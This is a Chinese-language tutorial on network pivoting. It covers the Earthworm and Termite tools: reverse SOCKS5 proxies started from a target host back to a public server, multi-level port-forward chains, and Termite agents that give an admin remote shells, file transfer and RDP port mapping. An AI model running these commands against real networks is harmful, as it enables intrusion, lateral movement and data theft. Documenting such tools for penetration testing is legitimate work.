端口转发

正向代理和反向代理

正向代理

正向代理中,proxy 和 client 同属一个 LAN,对 server 透明;

1
LHOST	-->	proxy	-->RHOST

Lhost 为了访问到 Rhost,向 proxy 发送了一个请求并且指定目标是 Rhost.

比如VPN,SSR梯子

反向代理

反向代理中,proxy 和 server 同属一个 LAN,对 client 透明;

1
LHOST<--->proxy<--->firewall<--->RHOST

Lhost 只向 proxy 发送普通的请求,具体让他转到哪里,proxy 自己判断,然后将返回的数据递交回来,

这样的好处就是在某些防火墙只允许 proxy 数据进出的时候可以有效的进行穿透

比如反弹木马

Earthworm

  1. 正向 SOCKS v5 服务器

    1
    $ ./ew -s ssocksd -l 1080
  2. 反弹 SOCKS v5 服务器
    这个操作具体分两步:

    a) 先在一台具有公网 ip 的主机A上运行以下命令:

1
$ ./ew -s rcsocks -l 1080 -e 8888

b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

1
$ ./ew -s rssocks -d 1.1.1.1 -e 8888

成功。

  1. 多级级联

    工具中自带的三条端口转发指令

    它们的参数格式分别为

1
2
3
$ ./ew -s lcx_listen -l  1080   -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。

首先提供两个“二级级联”本地SOCKS测试样例

a) lcx_tran 的用法

1
2
$ ./ew -s ssocksd  -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

b) lcx_listen、lcx_slave 的用法

1
2
3
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

再提供一个“三级级联”的本地SOCKS测试用例以供参考

1
2
3
4
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

神器Termite(白蚁,ew升级版)

http://rootkiter.com/Termite/ (多平台支持:Linux/MacOS/Windows)

内置Shell主机管理

管理员可通过Admin程序,对拓扑中的任意节点进行管控

包括但不限于——文件传输/控制台命令执行/开启远程 SOCKS5 代理服务/远程端口转发,等功能。

跳板机互联

Agent节点可相互连接,进而形成一条树状管理拓扑,依赖该拓扑结构,使用者可实时管理拓扑中的任意主机节点。

正反向级联

任意Agent节点间均可随时正向或反向连接,只要两个节点间能够正常建立TCP会话,就可以将新主机节点纳入树状管理拓扑图。

如何使用:

1.以服务模式启动一个agent服务

1
$ ./agent -l 8888 #管理员做服务端

2.管理端连接到agent进行管理

1
$ ./admin -c 127.0.0.1 -p 8888

3.此时,admin端会得到一个内置的shell,输入help指令可以得到帮助信息

1
》》help

4.通过show指令可以得到当前agent的拓扑情况

1
》》show

其中1 为节点的ID号,
M为MacOS系统的简写,Linux为L,Windows简写为W

5.将新agent加入当前拓扑

1
》./agent -c 管理员ip -p 8888 #目标代理机器

6.此时show指令将得到如下结果

1
2
3
0M
+-- 1M
| +-- 2M

这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方

7.在2节点开启socks代理,并绑定在本地端口

1
》》goto 2

将当前被管理节点切换为2号节点

1
》》socks 6666

此时,本地6666端口会启动一个监听服务,而服务提供者为2号节点

8.在1号节点开启一个shell并绑定到本地端口

1
2
3
》》goto 1

》》shell 7777

此时,通过nc本地的7777端口,就可以得到一个1节点提供的shell。

9.将远程文件下载至本地

》》goto 1

》》downfile 1.txt 2.txt

将1节点,目录下的1.txt下载至本地,并命名为2.txt

10.上传文件至远程节点

1
2
3
》》goto 2

》》upfile 2.txt 3.txt

将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt

11.端口转接

1
2
》》 goto 2 
》》 lcxtran 3388 10.0.0.1 3389

以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口

更多支持

http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4
http://rootkiter.com/toolvideo/toolmp4/2socks.mp4
http://rootkiter.com/toolvideo/toolmp4/3lcxtran.mp4
http://rootkiter.com/toolvideo/toolmp4/4shell.mp4
http://rootkiter.com/toolvideo/toolmp4/5file.mp4